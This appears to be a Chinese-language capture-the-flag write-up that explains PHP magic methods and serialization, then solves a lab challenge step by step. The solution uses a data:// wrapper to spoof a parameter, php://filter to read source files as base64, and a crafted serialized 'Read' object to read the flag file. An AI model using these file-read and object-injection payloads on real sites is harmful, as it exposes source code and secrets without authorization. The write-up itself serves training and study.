
php魔术函数
1:construct()函数被称为构造函数,当实例化类的时候会自动调用该函数
2:_destruct()函数被称为析构函数,当类结束的时候自动调用该函数
3:sleep()函数是当php进行序列化操作(serialize)的时候自动调用该函数,可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
4:wakeup()函数是当php进行反序列化操作(unserialize)的时候自动调用该函数
5:toString()函数是当对象被当做字符串的时候会自动调用该函数
反序列化输出
1 |
O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";} |
反序列化输出解释
这里的O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a。7表示对象的名称有7个字符。”chybeta”表示对象的名称。1表示有一个值。O:7:”chybeta”:1:{s:4:”test”;s:19:”“;}中,s表示字符串,19表示该字符串的长度,”test”为字符串的名称,之后的类似。
打开靶场

需要传参user,用php伪协议,来到admin
YWRtaW4=为base64加密后编码
1 |
http://172.23.211.71:3454/?user=data:text/plain;base64,YWRtaW4= |

又要参数file,php伪协议再读取文件
index.php改为class.php,即可读取
1 |
http://172.23.211.71:3454/?user=data:text/plain;base64,YWRtaW4=&file=php://filter/read=convert.base64-encode/resource=index.php |

base64解密获字符串得源码


反序列化读取fla9.php文件
1 |
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";} |
0代表存储对象,4代表对象有四个字符,Read为class.php的类,1代表一个值,s:4中的file为变量,s:57,代表后面有57个字符
1 |
http://172.23.211.71:3454/?user=data:text/plain;base64,YWRtaW4=&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";} |

base64解密得flag





近期评论